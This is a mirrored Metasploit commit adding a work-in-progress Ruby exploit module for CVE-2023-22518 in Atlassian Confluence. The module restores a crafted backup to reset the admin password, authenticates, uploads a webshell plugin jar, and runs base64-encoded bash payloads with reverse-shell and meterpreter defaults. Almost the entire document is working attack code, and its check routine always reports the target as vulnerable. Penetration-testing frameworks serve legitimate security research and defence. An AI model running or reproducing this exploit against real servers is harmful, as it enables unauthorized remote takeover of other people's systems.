mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-09 04:26:11 +02:00
Auth bypass, auth, shell upload, working
This commit is contained in:
parent
56016cb3e7
commit
e6e2106140
BIN
data/exploits/CVE-2023-22518/atlplug.jar
Normal file
BIN
data/exploits/CVE-2023-22518/atlplug.jar
Normal file
Binary file not shown.
BIN
data/exploits/CVE-2023-22518/xmlexport-20231120-222322-4.zip
Normal file
BIN
data/exploits/CVE-2023-22518/xmlexport-20231120-222322-4.zip
Normal file
Binary file not shown.
@ -0,0 +1,355 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Atlassian Confluence Unauth JSON setup-restore RCE',
|
||||
'Description' => %q(
|
||||
replace-me
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'replace-me', # discovery
|
||||
'jheysel-r7' # module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://jira.atlassian.com/browse/CONFSERVER-93142'],
|
||||
[ 'CVE', '2023-22518']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win', 'linux', 'unix'],
|
||||
'Privileged' => false,
|
||||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
||||
'Targets' => [
|
||||
[
|
||||
'Windows Command',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'win',
|
||||
'Type' => :win_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows Dropper',
|
||||
{
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Platform' => 'win',
|
||||
'Type' => :win_dropper,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows PowerShell',
|
||||
{
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Platform' => 'win',
|
||||
'Type' => :win_psh,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Type' => :nix_cmd
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux Dropper',
|
||||
{
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Platform' => 'linux',
|
||||
'Type' => :nix_dropper,
|
||||
'DefaultOptions' => {
|
||||
'CMDSTAGER::FLAVOR' => 'wget',
|
||||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Python',
|
||||
{
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Platform' => 'python',
|
||||
'Type' => :python,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 3,
|
||||
'DisclosureDate' => '2023-10-31',
|
||||
'Notes' =>
|
||||
{
|
||||
'Stability' => [ CRASH_SAFE, ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
|
||||
'Reliability' => [ REPEATABLE_SESSION, ],
|
||||
},
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8090)
|
||||
],
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
# Hit one of these endpoints:
|
||||
#
|
||||
#/json/setup-restore.action
|
||||
#/json/setup-restore-local.action
|
||||
#/json/setup-restore-progress.action
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
def upload_backup
|
||||
zip_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'xmlexport-20231120-222322-4.zip'))
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part("true", nil, nil, "form-data; name=\"buildIndex\"")
|
||||
post_data.add_part(zip_file, 'application/zip', nil, "form-data; name=\"file\"; filename=\"xmlexport-20231120-222322-4.zip\"")
|
||||
post_data.add_part("Upload and import", nil, nil, "form-data; name=\"edit\"")
|
||||
|
||||
data = post_data.to_s
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "json", "setup-restore.action"),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'keep_cookies' => true,
|
||||
'headers' => {
|
||||
"X-Atlassian-Token" => "no-check"
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'The endpoint /json/setup-restore.action did not respond with a 200') unless res&.code == 200
|
||||
print_good("Exploit Success! Login Using 'admin :: N0tpassword!'")
|
||||
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "plugins","servlet","com.jsos.shell","ShellServlet"),
|
||||
'keep_cookies' => true,
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'headers' => {
|
||||
'Accept' => 'text/html,application/xhtml+xml'
|
||||
},
|
||||
'vars_get' => {
|
||||
'act' => 3,
|
||||
},
|
||||
'data' => "cmd=#{(cmd)}"
|
||||
)
|
||||
|
||||
unless res&.code == 200
|
||||
fail_with(Failure::PayloadFailed, "Failed to execute the command: #{cmd}")
|
||||
end
|
||||
vprint_good("Successfully executed command: #{cmd}")
|
||||
end
|
||||
|
||||
def authenticate_to_confluence
|
||||
|
||||
res0 = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'login.action'),
|
||||
'headers' => {
|
||||
'Purpose' => 'prefetch'
|
||||
},
|
||||
'vars_get' => {
|
||||
'os_destination' => '/index.action',
|
||||
'permissionViolation' => 'true'
|
||||
}
|
||||
})
|
||||
|
||||
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'dologin.action'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'os_username' => 'admin',
|
||||
'os_password' => 'N0tpassword!',
|
||||
'login' => 'Log in',
|
||||
'os_destination' => '/index.action'
|
||||
}
|
||||
})
|
||||
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to authenticate to confluence with the newly set credentials') unless res&.code == 302
|
||||
|
||||
res1 = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.action'),
|
||||
'keep_cookies' => true,
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0',
|
||||
'Referer' => build_referer('/login.action?os_destination=/index.action&permissionViolation=true'),
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Loading the dashboard after authenticating has failed') unless res1&.code == 200 && res1&.body.include?('Dashboard')
|
||||
atlassian_token = res1.get_html_document.xpath("//meta[@id='atlassian-token' and @name='atlassian-token']/@content").text
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the atlassian_token from the response') unless atlassian_token
|
||||
atlassian_token
|
||||
end
|
||||
|
||||
def authenticate_to_plugins_config(atlassian_token)
|
||||
|
||||
res1 = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/plugins/servlet/upm'),
|
||||
'keep_cookies' => true,
|
||||
})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to authenticate to the restricted plugins area') unless res1&.code == 302 && res1&.headers['Location']
|
||||
|
||||
res2 = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, res1&.headers['Location']),
|
||||
'keep_cookies' => true,
|
||||
# 'Referer' => build_referer('/plugins/servlet/upm'),
|
||||
# 'vars_get' => {
|
||||
# 'destination' => '/plugins/servlet/upm'
|
||||
# }
|
||||
})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to authenticate to the restricted plugins area') unless res2&.code == 200
|
||||
|
||||
|
||||
res3 = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'doauthenticate.action'),
|
||||
'keep_cookies' => true,
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' => {
|
||||
'atl_token' => atlassian_token,
|
||||
'password' => 'N0tpassword!',
|
||||
'authenticate' => 'Confirm',
|
||||
'destination' => '/plugins/servlet/upm'
|
||||
}})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to authenticate to the restricted plugins area') unless res3&.code == 302
|
||||
|
||||
res4 = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/plugins/servlet/upm'),
|
||||
'keep_cookies' => true,
|
||||
'headers' =>
|
||||
{
|
||||
'Referer' => build_referer(res1&.headers['Location'])
|
||||
},
|
||||
})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to authenticate to the restricted plugins area') unless res4&.code == 200 && res4&.body.include?('Manage apps - Confluence')
|
||||
|
||||
end
|
||||
|
||||
def get_upn_token
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'HEAD',
|
||||
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0/'),
|
||||
'keep_cookies' => true,
|
||||
'headers'=> {
|
||||
'X-Atlassian-Token' => 'no-check'
|
||||
}
|
||||
})
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the UPM token') unless res&.code ==200 && res&.headers['upm-token']
|
||||
|
||||
res.headers['upm-token']
|
||||
end
|
||||
|
||||
# def uri_path
|
||||
# uri_path = target_uri.path
|
||||
# uri_path << "/" if uri_path[-1, 1] != "/"
|
||||
# uri_path
|
||||
# end
|
||||
|
||||
def build_referer(uri_path)
|
||||
if datastore['SSL']
|
||||
schema = "https://"
|
||||
else
|
||||
schema = "http://"
|
||||
end
|
||||
|
||||
referer = schema
|
||||
referer << rhost
|
||||
referer << ":#{rport}"
|
||||
referer << uri_path
|
||||
referer
|
||||
end
|
||||
|
||||
def upload_webshell(upn_token)
|
||||
|
||||
webshell_jar = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'atlplug.jar'))
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(webshell_jar, 'application/java-archive', 'binary', "form-data; name=\"plugin\"; filename=\"atlplug.jar\"")
|
||||
post_data.add_part('', nil, nil, 'form-data; name="url"')
|
||||
|
||||
data = post_data.to_s
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "rest", "plugins", "1.0/"),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'keep_cookies' => true,
|
||||
'headers' => {
|
||||
"Referer" => build_referer("/plugins/servlet/upm")
|
||||
},
|
||||
'vars_get' => {
|
||||
'token' => upn_token
|
||||
}
|
||||
})
|
||||
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
# Restore back from .zip
|
||||
#upload_backup
|
||||
|
||||
# Authenticate once to access confluence
|
||||
atlassian_token = authenticate_to_confluence
|
||||
|
||||
# Confluence makes your authenticate a second time when attempting to access the plugins configuration page
|
||||
authenticate_to_plugins_config(atlassian_token)
|
||||
#
|
||||
# # Token required for uploading a new plugin
|
||||
upn_token = get_upn_token
|
||||
#
|
||||
# # Upload WebShell plugin
|
||||
upload_webshell(upn_token)
|
||||
sleep(5)
|
||||
#
|
||||
# Send payload to the webshell
|
||||
case target['Type']
|
||||
when :nix_cmd
|
||||
bash_cmd = "eval $(echo #{Rex::Text.encode_base64("bash -c \"#{payload.encoded}\"")} | base64 -d)"
|
||||
execute_command(bash_cmd)
|
||||
when :nix_dropper
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue
Block a user